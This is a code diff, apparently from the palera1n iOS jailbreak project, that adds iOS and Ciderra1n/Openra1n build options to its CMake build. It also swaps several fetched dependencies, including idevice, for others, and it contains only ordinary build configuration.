||||||
|
gDebugLevel,
|
||||||
|
func,
|
||||||
|
file,
|
||||||
|
line
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
putchar('\n');
|
||||||
|
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void sleep_ms(unsigned ms) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
Sleep(ms);
|
||||||
|
#else
|
||||||
|
struct timespec ts;
|
||||||
|
|
||||||
|
ts.tv_sec = ms / 1000;
|
||||||
|
ts.tv_nsec = (ms % 1000) * 1000000L;
|
||||||
|
nanosleep(&ts, NULL);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
+285
-240
@@ -6,7 +6,11 @@ include(ExternalProject)
|
|||||||
|
|
||||||
set(CMAKE_CXX_STANDARD 17)
|
set(CMAKE_CXX_STANDARD 17)
|
||||||
set(CMAKE_CXX_STANDARD_REQUIRED True)
|
set(CMAKE_CXX_STANDARD_REQUIRED True)
|
||||||
|
if(NOT IOS)
|
||||||
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13")
|
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13")
|
||||||
|
else()
|
||||||
|
set(CMAKE_OSX_DEPLOYMENT_TARGET "12.0")
|
||||||
|
endif()
|
||||||
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)
|
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)
|
||||||
set(CROSS_HOST_TRIPLE "" CACHE STRING "Cross-compile target triple for Autotools (e.g., x86_64-linux-musl)")
|
set(CROSS_HOST_TRIPLE "" CACHE STRING "Cross-compile target triple for Autotools (e.g., x86_64-linux-musl)")
|
||||||
|
|
||||||
@@ -15,6 +19,7 @@ option(WITH_STATIC "Build with static wxWidgets / deps" OFF)
|
|||||||
option(WITH_TUI "Build with TUI" OFF)
|
option(WITH_TUI "Build with TUI" OFF)
|
||||||
option(WITH_RAMDISK "Build with ramdisk" ON)
|
option(WITH_RAMDISK "Build with ramdisk" ON)
|
||||||
option(WITH_BINPACK "Build with binpack" ON)
|
option(WITH_BINPACK "Build with binpack" ON)
|
||||||
|
option(WITH_CIDERRAIN "Build with Ciderra1n instead of Openra1n" OFF)
|
||||||
|
|
||||||
# =========================
|
# =========================
|
||||||
# BUILD REQUIREMENTS
|
# BUILD REQUIREMENTS
|
||||||
@@ -34,6 +39,14 @@ if(MINGW AND WITH_TUI)
|
|||||||
message(FATAL_ERROR "-DWITH_TUI=1 is not supported on MinGW builds.")
|
message(FATAL_ERROR "-DWITH_TUI=1 is not supported on MinGW builds.")
|
||||||
endif()
|
endif()
|
||||||
|
|
||||||
|
if(MINGW AND WITH_CIDERRAIN)
|
||||||
|
message(FATAL_ERROR "-DWITH_CIDERRAIN=1 is not supported on MinGW builds.")
|
||||||
|
endif()
|
||||||
|
|
||||||
|
if(IOS AND (WITH_TUI OR WITH_GUI))
|
||||||
|
message(FATAL_ERROR "-DWITH_TUI=1 or -DWITH_GUI=1 is not supported on iOS builds.")
|
||||||
|
endif()
|
||||||
|
|
||||||
# =========================
|
# =========================
|
||||||
# SETUP
|
# SETUP
|
||||||
# =========================
|
# =========================
|
||||||
@@ -83,16 +96,6 @@ FetchContent_Declare(
|
|||||||
)
|
)
|
||||||
FetchContent_MakeAvailable(nlohmann_json)
|
FetchContent_MakeAvailable(nlohmann_json)
|
||||||
|
|
||||||
# LZ4
|
|
||||||
set(LZ4_BUILD_CLI OFF CACHE BOOL "" FORCE)
|
|
||||||
FetchContent_Declare(
|
|
||||||
lz4
|
|
||||||
GIT_REPOSITORY https://github.com/lz4/lz4.git
|
|
||||||
GIT_TAG v1.10.0
|
|
||||||
SOURCE_SUBDIR build/cmake
|
|
||||||
)
|
|
||||||
FetchContent_MakeAvailable(lz4)
|
|
||||||
|
|
||||||
# =========================
|
# =========================
|
||||||
# TARGET
|
# TARGET
|
||||||
# =========================
|
# =========================
|
||||||
@@ -104,7 +107,7 @@ file(GLOB_RECURSE SOURCES CONFIGURE_DEPENDS
|
|||||||
"src/*.hpp"
|
"src/*.hpp"
|
||||||
)
|
)
|
||||||
|
|
||||||
if(APPLE AND WITH_GUI)
|
if((APPLE AND NOT IOS) AND WITH_GUI)
|
||||||
set(APP_ICON "${CMAKE_CURRENT_SOURCE_DIR}/resources/palera1n.icns")
|
set(APP_ICON "${CMAKE_CURRENT_SOURCE_DIR}/resources/palera1n.icns")
|
||||||
add_executable(palera1n MACOSX_BUNDLE ${SOURCES})
|
add_executable(palera1n MACOSX_BUNDLE ${SOURCES})
|
||||||
target_sources(palera1n PRIVATE ${APP_ICON})
|
target_sources(palera1n PRIVATE ${APP_ICON})
|
||||||
@@ -113,6 +116,17 @@ if(APPLE AND WITH_GUI)
|
|||||||
MACOSX_BUNDLE_INFO_PLIST "${CMAKE_CURRENT_SOURCE_DIR}/resources/Info.plist"
|
MACOSX_BUNDLE_INFO_PLIST "${CMAKE_CURRENT_SOURCE_DIR}/resources/Info.plist"
|
||||||
MACOSX_BUNDLE_ICON_FILE palera1n.icns
|
MACOSX_BUNDLE_ICON_FILE palera1n.icns
|
||||||
)
|
)
|
||||||
|
elseif(IOS)
|
||||||
|
add_executable(palera1n MACOSX_BUNDLE ${SOURCES})
|
||||||
|
|
||||||
|
set_target_properties(palera1n PROPERTIES
|
||||||
|
XCODE_ATTRIBUTE_PRODUCT_BUNDLE_IDENTIFIER "in.palera.palera1n"
|
||||||
|
XCODE_ATTRIBUTE_AD_HOC_CODE_SIGNING_ALLOWED "YES"
|
||||||
|
XCODE_ATTRIBUTE_CODE_SIGNING_ALLOWED "YES"
|
||||||
|
XCODE_ATTRIBUTE_CODE_SIGNING_REQUIRED "YES"
|
||||||
|
XCODE_ATTRIBUTE_CODE_SIGN_IDENTITY "-"
|
||||||
|
XCODE_ATTRIBUTE_CODE_SIGN_ENTITLEMENTS "${CMAKE_SOURCE_DIR}/resources/entitlements.xml"
|
||||||
|
)
|
||||||
elseif(MINGW AND WITH_GUI)
|
elseif(MINGW AND WITH_GUI)
|
||||||
set(APP_MANIFEST_RC "${CMAKE_SOURCE_DIR}/resources/app.rc")
|
set(APP_MANIFEST_RC "${CMAKE_SOURCE_DIR}/resources/app.rc")
|
||||||
add_executable(palera1n WIN32 ${SOURCES} ${APP_MANIFEST_RC})
|
add_executable(palera1n WIN32 ${SOURCES} ${APP_MANIFEST_RC})
|
||||||
@@ -122,7 +136,7 @@ endif()
|
|||||||
|
|
||||||
target_include_directories(palera1n PRIVATE "${DEPS_PREFIX}/include")
|
target_include_directories(palera1n PRIVATE "${DEPS_PREFIX}/include")
|
||||||
target_link_directories(palera1n PRIVATE "${DEPS_PREFIX}/lib")
|
target_link_directories(palera1n PRIVATE "${DEPS_PREFIX}/lib")
|
||||||
target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json lz4_static)
|
target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json)
|
||||||
|
|
||||||
if(WITH_RAMDISK)
|
if(WITH_RAMDISK)
|
||||||
target_compile_definitions(palera1n PRIVATE WITH_RAMDISK)
|
target_compile_definitions(palera1n PRIVATE WITH_RAMDISK)
|
||||||
@@ -137,6 +151,9 @@ endif()
|
|||||||
if(WITH_TUI)
|
if(WITH_TUI)
|
||||||
target_compile_definitions(palera1n PRIVATE WITH_TUI)
|
target_compile_definitions(palera1n PRIVATE WITH_TUI)
|
||||||
endif()
|
endif()
|
||||||
|
if(WITH_CIDERRAIN)
|
||||||
|
target_compile_definitions(palera1n PRIVATE WITH_CIDERRAIN)
|
||||||
|
endif()
|
||||||
|
|
||||||
execute_process(
|
execute_process(
|
||||||
COMMAND git rev-parse HEAD
|
COMMAND git rev-parse HEAD
|
||||||
@@ -185,6 +202,223 @@ endif()
|
|||||||
# NON-CMAKE DEPENDENCIES
|
# NON-CMAKE DEPENDENCIES
|
||||||
# =========================
|
# =========================
|
||||||
|
|
||||||
|
# ra1ns
|
||||||
|
if(WITH_CIDERRAIN)
|
||||||
|
message(STATUS "Building with Ciderra1n support")
|
||||||
|
|
||||||
|
# TODO: get rid
|
||||||
|
execute_process(
|
||||||
|
COMMAND patch --batch --forward -p1 -i ${CMAKE_SOURCE_DIR}/patches/liteusb/0001-cpp-compatible.patch
|
||||||
|
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/external/liteusb
|
||||||
|
RESULT_VARIABLE LITEUSB_PATCH_RESULT
|
||||||
|
)
|
||||||
|
|
||||||
|
if(IOS)
|
||||||
|
execute_process(
|
||||||
|
COMMAND xcrun --sdk iphoneos --show-sdk-path
|
||||||
|
OUTPUT_VARIABLE IOS_SDK
|
||||||
|
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||||
|
)
|
||||||
|
|
||||||
|
execute_process(
|
||||||
|
COMMAND ${CMAKE_COMMAND} -E env
|
||||||
|
"CFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
|
||||||
|
"CXXFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
|
||||||
|
"LDFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}"
|
||||||
|
make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} AR=${CMAKE_AR}
|
||||||
|
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n
|
||||||
|
RESULT_VARIABLE CIDERRA1N_BUILD_RESULT
|
||||||
|
)
|
||||||
|
else()
|
||||||
|
execute_process(
|
||||||
|
COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER}
|
||||||
|
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n
|
||||||
|
RESULT_VARIABLE CIDERRA1N_BUILD_RESULT
|
||||||
|
)
|
||||||
|
endif()
|
||||||
|
|
||||||
|
if(NOT CIDERRA1N_BUILD_RESULT EQUAL 0)
|
||||||
|
message(FATAL_ERROR "Failed to build Ciderra1n.")
|
||||||
|
endif()
|
||||||
|
|
||||||
|
set(CIDERRAIN_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/build/include")
|
||||||
|
set(CIDERRAIN_LIB "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/build/lib/ciderra1n/libciderra1n.a")
|
||||||
|
target_include_directories(palera1n PRIVATE ${CIDERRAIN_INCLUDE_DIR})
|
||||||
|
target_link_libraries(palera1n PRIVATE "${CIDERRAIN_LIB}")
|
||||||
|
|
||||||
|
if(IOS)
|
||||||
|
target_include_directories(palera1n PRIVATE "${CMAKE_SOURCE_DIR}/apple-include-iphoneos")
|
||||||
|
endif()
|
||||||
|
|
||||||
|
if(LINUX)
|
||||||
|
set(LITEUSB_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/external/liteusb/include")
|
||||||
|
target_compile_definitions(palera1n PRIVATE LITEUSB_PLATFORM_LINUX)
|
||||||
|
target_include_directories(palera1n PRIVATE ${LITEUSB_INCLUDE_DIR})
|
||||||
|
endif()
|
||||||
|
|
||||||
|
else()
|
||||||
|
message(STATUS "Building with Openra1n support")
|
||||||
|
|
||||||
|
if(IOS)
|
||||||
|
execute_process(
|
||||||
|
COMMAND xcrun --sdk iphoneos --show-sdk-path
|
||||||
|
OUTPUT_VARIABLE IOS_SDK
|
||||||
|
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||||
|
)
|
||||||
|
|
||||||
|
execute_process(
|
||||||
|
COMMAND ${CMAKE_COMMAND} -E env
|
||||||
|
"CFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
|
||||||
|
"CXXFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
|
||||||
|
"LDFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}"
|
||||||
|
make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} AR=${CMAKE_AR}
|
||||||
|
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n
|
||||||
|
RESULT_VARIABLE OPENRA1N_BUILD_RESULT
|
||||||
|
)
|
||||||
|
else()
|
||||||
|
execute_process(
|
||||||
|
COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER}
|
||||||
|
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n
|
||||||
|
RESULT_VARIABLE OPENRA1N_BUILD_RESULT
|
||||||
|
)
|
||||||
|
endif()
|
||||||
|
|
||||||
|
if(NOT OPENRA1N_BUILD_RESULT EQUAL 0)
|
||||||
|
message(FATAL_ERROR "Failed to build Openra1n.")
|
||||||
|
endif()
|
||||||
|
|
||||||
|
set(OPENRA1N_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libopenra1n/build/include")
|
||||||
|
set(OPENRA1N_LIB "${CMAKE_SOURCE_DIR}/1stparty/libopenra1n/build/lib/openra1n/libopenra1n.a")
|
||||||
|
|
||||||
|
target_include_directories(palera1n PRIVATE ${OPENRA1N_INCLUDE_DIR})
|
||||||
|
target_link_libraries(palera1n PRIVATE "${OPENRA1N_LIB}")
|
||||||
|
|
||||||
|
if(IOS)
|
||||||
|
target_include_directories(palera1n PRIVATE "${CMAKE_SOURCE_DIR}/apple-include-iphoneos")
|
||||||
|
endif()
|
||||||
|
endif()
|
||||||
|
|
||||||
|
# idevice
|
||||||
|
if(WITH_GUI OR WITH_TUI)
|
||||||
|
set(IDevice_CARGO_ARGS
|
||||||
|
--release
|
||||||
|
--no-default-features
|
||||||
|
--features "usbmuxd ring tcp"
|
||||||
|
)
|
||||||
|
|
||||||
|
set(IDevice_ENV)
|
||||||
|
|
||||||
|
if(CROSS_HOST_TRIPLE)
|
||||||
|
if(CROSS_HOST_TRIPLE STREQUAL "i486-linux-musl")
|
||||||
|
set(RUST_TARGET "i686-unknown-linux-musl")
|
||||||
|
elseif(CROSS_HOST_TRIPLE STREQUAL "x86_64-linux-musl")
|
||||||
|
set(RUST_TARGET "x86_64-unknown-linux-musl")
|
||||||
|
elseif(CROSS_HOST_TRIPLE STREQUAL "armel-linux-musleabi")
|
||||||
|
set(RUST_TARGET "arm-unknown-linux-musleabi")
|
||||||
|
elseif(CROSS_HOST_TRIPLE STREQUAL "aarch64-linux-musl")
|
||||||
|
set(RUST_TARGET "aarch64-unknown-linux-musl")
|
||||||
|
endif()
|
||||||
|
|
||||||
|
if(RUST_TARGET)
|
||||||
|
string(TOUPPER "${RUST_TARGET}" RUST_TARGET_ENV)
|
||||||
|
string(REPLACE "-" "_" RUST_TARGET_ENV "${RUST_TARGET_ENV}")
|
||||||
|
|
||||||
|
list(APPEND IDevice_CARGO_ARGS --target ${RUST_TARGET})
|
||||||
|
list(APPEND IDevice_ENV
|
||||||
|
"CC=${CMAKE_C_COMPILER}"
|
||||||
|
"AR=${CMAKE_AR}"
|
||||||
|
"CARGO_TARGET_${RUST_TARGET_ENV}_LINKER=${CMAKE_C_COMPILER}"
|
||||||
|
)
|
||||||
|
endif()
|
||||||
|
|
||||||
|
elseif(MINGW)
|
||||||
|
set(RUST_TARGET "x86_64-pc-windows-gnu")
|
||||||
|
|
||||||
|
list(APPEND IDevice_CARGO_ARGS --target ${RUST_TARGET})
|
||||||
|
|
||||||
|
list(APPEND IDevice_ENV
|
||||||
|
"CC=${CMAKE_C_COMPILER}"
|
||||||
|
"AR=${CMAKE_AR}"
|
||||||
|
"CARGO_TARGET_X86_64_PC_WINDOWS_GNU_LINKER=${CMAKE_C_COMPILER}"
|
||||||
|
)
|
||||||
|
endif()
|
||||||
|
|
||||||
|
ExternalProject_Add(idevice_ep
|
||||||
|
GIT_REPOSITORY https://github.com/jkcoxson/idevice.git
|
||||||
|
GIT_TAG v0.1.65
|
||||||
|
|
||||||
|
PATCH_COMMAND
|
||||||
|
patch --forward --ignore-whitespace -p1 < "${CMAKE_SOURCE_DIR}/patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch" || true
|
||||||
|
|
||||||
|
CONFIGURE_COMMAND ""
|
||||||
|
|
||||||
|
BUILD_COMMAND
|
||||||
|
${CMAKE_COMMAND} -E env
|
||||||
|
${IDevice_ENV}
|
||||||
|
cargo build
|
||||||
|
${IDevice_CARGO_ARGS}
|
||||||
|
--manifest-path <SOURCE_DIR>/ffi/Cargo.toml
|
||||||
|
|
||||||
|
COMMAND ${CMAKE_COMMAND} -E chdir <SOURCE_DIR>/cpp
|
||||||
|
${CMAKE_COMMAND}
|
||||||
|
-B build
|
||||||
|
-DCMAKE_BUILD_TYPE=Release
|
||||||
|
-DIDEVICE_FFI_PATH=<SOURCE_DIR>/target/${RUST_TARGET}/release/${FFI_LIB_NAME}
|
||||||
|
"-DCMAKE_CXX_FLAGS=-Du_int64_t=uint64_t -Du_int32_t=uint32_t -Du_int16_t=uint16_t -Du_int8_t=uint8_t"
|
||||||
|
|
||||||
|
COMMAND ${CMAKE_COMMAND} --build <SOURCE_DIR>/cpp/build --config Release
|
||||||
|
|
||||||
|
INSTALL_COMMAND
|
||||||
|
${CMAKE_COMMAND} -E make_directory <INSTALL_DIR>/lib/idevice
|
||||||
|
COMMAND ${CMAKE_COMMAND} -E make_directory <INSTALL_DIR>/include
|
||||||
|
|
||||||
|
COMMAND ${CMAKE_COMMAND} -E copy
|
||||||
|
<SOURCE_DIR>/target/${RUST_TARGET}/release/libidevice_ffi.a
|
||||||
|
<INSTALL_DIR>/lib/idevice/libidevice_ffi.a
|
||||||
|
|
||||||
|
COMMAND ${CMAKE_COMMAND} -E copy
|
||||||
|
<SOURCE_DIR>/cpp/build/libidevice++.a
|
||||||
|
<INSTALL_DIR>/lib/idevice/libidevice++.a
|
||||||
|
|
||||||
|
COMMAND ${CMAKE_COMMAND} -E copy_directory
|
||||||
|
<SOURCE_DIR>/cpp/include
|
||||||
|
<INSTALL_DIR>/include
|
||||||
|
|
||||||
|
BUILD_IN_SOURCE 1
|
||||||
|
)
|
||||||
|
|
||||||
|
ExternalProject_Get_Property(idevice_ep install_dir)
|
||||||
|
set(IDEVICE_INCLUDE_DIR "${install_dir}/include")
|
||||||
|
set(IDEVICE_LIBRARY "${install_dir}/lib/idevice/libidevice++.a")
|
||||||
|
set(IDEVICE_FFI_LIBRARY "${install_dir}/lib/idevice/libidevice_ffi.a")
|
||||||
|
add_dependencies(palera1n idevice_ep)
|
||||||
|
target_include_directories(palera1n PRIVATE ${IDEVICE_INCLUDE_DIR})
|
||||||
|
target_link_libraries(palera1n PRIVATE "${IDEVICE_LIBRARY}" "${IDEVICE_FFI_LIBRARY}")
|
||||||
|
if(MINGW)
|
||||||
|
target_link_libraries(palera1n PRIVATE bcrypt userenv ntdll)
|
||||||
|
endif()
|
||||||
|
target_compile_definitions(palera1n PRIVATE LIBPLIST_STATIC)
|
||||||
|
endif()
|
||||||
|
|
||||||
|
if(CMAKE_BUILD_TYPE STREQUAL "Release")
|
||||||
|
if(APPLE)
|
||||||
|
target_link_options(palera1n PRIVATE
|
||||||
|
-Wl,-dead_strip
|
||||||
|
-Wl,-x
|
||||||
|
)
|
||||||
|
elseif(MINGW)
|
||||||
|
target_link_options(palera1n PRIVATE
|
||||||
|
-Wl,--gc-sections
|
||||||
|
-Wl,--strip-all
|
||||||
|
)
|
||||||
|
elseif(LINUX)
|
||||||
|
target_link_options(palera1n PRIVATE
|
||||||
|
-Wl,--gc-sections
|
||||||
|
-Wl,--strip-all
|
||||||
|
)
|
||||||
|
endif()
|
||||||
|
endif()
|
||||||
|
|
||||||
if(WITH_STATIC)
|
if(WITH_STATIC)
|
||||||
find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config)
|
find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config)
|
||||||
|
|
||||||
@@ -241,45 +475,7 @@ if(WITH_STATIC)
|
|||||||
set(MBEDUTILS_ARGS --with-mbedtls)
|
set(MBEDUTILS_ARGS --with-mbedtls)
|
||||||
endif()
|
endif()
|
||||||
|
|
||||||
if(MINGW)
|
if((LINUX OR MINGW) AND NOT WITH_CIDERRAIN)
|
||||||
ExternalProject_Add(libwdi_ep
|
|
||||||
GIT_REPOSITORY https://github.com/pbatard/libwdi.git
|
|
||||||
GIT_TAG v1.5.1
|
|
||||||
UPDATE_COMMAND ""
|
|
||||||
CONFIGURE_COMMAND
|
|
||||||
${PKG_ENV}
|
|
||||||
sh -lc "./bootstrap.sh && ./configure --prefix=${DEPS_PREFIX} --build=x86_64-w64-mingw32 --host=x86_64-w64-mingw32 --disable-32bit --with-wdfver=1011 --with-libusbk=${CMAKE_SOURCE_DIR}/libusbK/bin"
|
|
||||||
BUILD_COMMAND make -j
|
|
||||||
INSTALL_COMMAND make install
|
|
||||||
BUILD_IN_SOURCE 1
|
|
||||||
)
|
|
||||||
endif()
|
|
||||||
|
|
||||||
if(NOT MINGW)
|
|
||||||
# theres an issue with we cant build with amd or something
|
|
||||||
set(MBEDTLS_PATCH_STEPS PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch)
|
|
||||||
if(CROSS_HOST_TRIPLE MATCHES "i486-linux-musl")
|
|
||||||
list(APPEND MBEDTLS_PATCH_STEPS COMMAND sed -i "/define MBEDTLS_AESNI_C/d" include/mbedtls/mbedtls_config.h)
|
|
||||||
endif()
|
|
||||||
|
|
||||||
ExternalProject_Add(mbedtls_ep
|
|
||||||
GIT_REPOSITORY https://github.com/Mbed-TLS/mbedtls.git
|
|
||||||
GIT_TAG mbedtls-3.5.2
|
|
||||||
UPDATE_COMMAND ""
|
|
||||||
${MBEDTLS_PATCH_STEPS}
|
|
||||||
CMAKE_ARGS
|
|
||||||
-DCMAKE_INSTALL_PREFIX=${DEPS_PREFIX}
|
|
||||||
-DCMAKE_C_COMPILER=${CMAKE_C_COMPILER}
|
|
||||||
-DCMAKE_SYSROOT=${CMAKE_SYSROOT}
|
|
||||||
-DENABLE_TESTING=OFF
|
|
||||||
-DENABLE_PROGRAMS=OFF
|
|
||||||
-DBUILD_SHARED_LIBS=OFF
|
|
||||||
-DENABLE_ASSEMBLY=OFF
|
|
||||||
INSTALL_DIR ${DEPS_PREFIX}
|
|
||||||
)
|
|
||||||
endif()
|
|
||||||
|
|
||||||
if(LINUX OR MINGW)
|
|
||||||
ExternalProject_Add(libusb_ep
|
ExternalProject_Add(libusb_ep
|
||||||
GIT_REPOSITORY https://github.com/libusb/libusb.git
|
GIT_REPOSITORY https://github.com/libusb/libusb.git
|
||||||
GIT_TAG v1.0.30
|
GIT_TAG v1.0.30
|
||||||
@@ -291,6 +487,8 @@ if(WITH_STATIC)
|
|||||||
INSTALL_COMMAND make install
|
INSTALL_COMMAND make install
|
||||||
BUILD_IN_SOURCE 1
|
BUILD_IN_SOURCE 1
|
||||||
)
|
)
|
||||||
|
|
||||||
|
add_dependencies(palera1n libusb_ep)
|
||||||
endif()
|
endif()
|
||||||
|
|
||||||
if(LINUX)
|
if(LINUX)
|
||||||
@@ -298,165 +496,46 @@ if(WITH_STATIC)
|
|||||||
URL https://ftp.gnu.org/pub/gnu/ncurses/ncurses-6.4.tar.gz
|
URL https://ftp.gnu.org/pub/gnu/ncurses/ncurses-6.4.tar.gz
|
||||||
CONFIGURE_COMMAND
|
CONFIGURE_COMMAND
|
||||||
${PKG_ENV}
|
${PKG_ENV}
|
||||||
sh -l <SOURCE_DIR>/configure --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} --disable-stripping --enable-overwrite --enable-widec
|
sh <SOURCE_DIR>/configure
|
||||||
|
--prefix=${DEPS_PREFIX}
|
||||||
|
${IMD_AUTOTOOLS_ARGS}
|
||||||
|
--disable-stripping
|
||||||
|
--enable-overwrite
|
||||||
|
--enable-widec
|
||||||
|
--with-default-terminfo-dir=${DEPS_PREFIX}/share/terminfo
|
||||||
|
--with-terminfo-dirs=${DEPS_PREFIX}/share/terminfo
|
||||||
BUILD_COMMAND make -j
|
BUILD_COMMAND make -j
|
||||||
BUILD_IN_SOURCE 1
|
BUILD_IN_SOURCE 1
|
||||||
INSTALL_COMMAND
|
INSTALL_COMMAND
|
||||||
make install &&
|
${CMAKE_COMMAND} -E env ${PKG_ENV}
|
||||||
ln -sf ${DEPS_PREFIX}/lib/libncursesw.a ${DEPS_PREFIX}/lib/libncurses.a &&
|
sh -c
|
||||||
ln -sf ${DEPS_PREFIX}/lib/libtinfow.a ${DEPS_PREFIX}/lib/libtinfo.a
|
"make install TERMINFO=${DEPS_PREFIX}/share/terminfo && \
|
||||||
|
ln -sf ${DEPS_PREFIX}/lib/libncursesw.a ${DEPS_PREFIX}/lib/libncurses.a && \
|
||||||
|
ln -sf ${DEPS_PREFIX}/lib/libtinfow.a ${DEPS_PREFIX}/lib/libtinfo.a"
|
||||||
)
|
)
|
||||||
endif()
|
|
||||||
|
|
||||||
if(LINUX)
|
add_dependencies(palera1n ncurses_ep)
|
||||||
ExternalProject_Add(readline_ep
|
|
||||||
URL https://ftp.gnu.org/gnu/readline/readline-8.2.tar.gz
|
|
||||||
CONFIGURE_COMMAND
|
|
||||||
${PKG_ENV}
|
|
||||||
sh -l <SOURCE_DIR>/configure --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS}
|
|
||||||
BUILD_COMMAND make -j
|
|
||||||
INSTALL_COMMAND make install
|
|
||||||
BUILD_IN_SOURCE 1
|
|
||||||
DEPENDS ncurses_ep
|
|
||||||
)
|
|
||||||
endif()
|
|
||||||
|
|
||||||
ExternalProject_Add(libplist_ep
|
|
||||||
GIT_REPOSITORY https://github.com/libimobiledevice/libplist.git
|
|
||||||
GIT_TAG 2117b8fdb6b4096455bd2041a63e59a028120136
|
|
||||||
UPDATE_COMMAND ""
|
|
||||||
CONFIGURE_COMMAND
|
|
||||||
${PKG_ENV}
|
|
||||||
sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS}
|
|
||||||
BUILD_COMMAND make -j
|
|
||||||
INSTALL_COMMAND make install
|
|
||||||
BUILD_IN_SOURCE 1
|
|
||||||
)
|
|
||||||
|
|
||||||
ExternalProject_Add(limd_glue_ep
|
|
||||||
GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice-glue.git
|
|
||||||
GIT_TAG 362f7848ac89b74d9dd113b38b51ecb601f76094
|
|
||||||
UPDATE_COMMAND ""
|
|
||||||
CONFIGURE_COMMAND
|
|
||||||
${PKG_ENV}
|
|
||||||
sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS}
|
|
||||||
BUILD_COMMAND make -j
|
|
||||||
INSTALL_COMMAND make install
|
|
||||||
BUILD_IN_SOURCE 1
|
|
||||||
DEPENDS libplist_ep
|
|
||||||
)
|
|
||||||
|
|
||||||
ExternalProject_Add(libusbmuxd_ep
|
|
||||||
GIT_REPOSITORY https://github.com/libimobiledevice/libusbmuxd.git
|
|
||||||
GIT_TAG a7f0543fb1ecb20ac7121c0fd77297200e0e43fc
|
|
||||||
UPDATE_COMMAND ""
|
|
||||||
CONFIGURE_COMMAND
|
|
||||||
${PKG_ENV}
|
|
||||||
sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} --without-systemd
|
|
||||||
BUILD_COMMAND make -j
|
|
||||||
INSTALL_COMMAND make install
|
|
||||||
BUILD_IN_SOURCE 1
|
|
||||||
DEPENDS libplist_ep limd_glue_ep
|
|
||||||
)
|
|
||||||
|
|
||||||
set(LIBIMOBILEDEVICE_DEPS libplist_ep libusbmuxd_ep limd_glue_ep)
|
|
||||||
if(NOT MINGW)
|
|
||||||
list(APPEND LIBIMOBILEDEVICE_DEPS mbedtls_ep)
|
|
||||||
endif()
|
|
||||||
if(LINUX OR MINGW)
|
|
||||||
list(APPEND LIBIMOBILEDEVICE_DEPS libusb_ep)
|
|
||||||
endif()
|
|
||||||
if(LINUX)
|
|
||||||
list(APPEND LIBIMOBILEDEVICE_DEPS readline_ep)
|
|
||||||
endif()
|
|
||||||
|
|
||||||
ExternalProject_Add(libimobiledevice_ep
|
|
||||||
GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice.git
|
|
||||||
GIT_TAG ed0d66d0341562731bb19928dfe48155509fa7a7
|
|
||||||
UPDATE_COMMAND ""
|
|
||||||
PATCH_COMMAND patch -p1 < "${CMAKE_SOURCE_DIR}/patches/libimobiledevice/0001-include-windows-header.patch"
|
|
||||||
CONFIGURE_COMMAND
|
|
||||||
${PKG_ENV}
|
|
||||||
sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${MBEDUTILS_ARGS} ${IMD_AUTOTOOLS_ARGS} --disable-wireless-pairing
|
|
||||||
BUILD_COMMAND make -j
|
|
||||||
INSTALL_COMMAND make install
|
|
||||||
BUILD_IN_SOURCE 1
|
|
||||||
DEPENDS ${LIBIMOBILEDEVICE_DEPS}
|
|
||||||
)
|
|
||||||
|
|
||||||
# to compile libimobiledevice appropriately we patch out the automake generated makefile
|
|
||||||
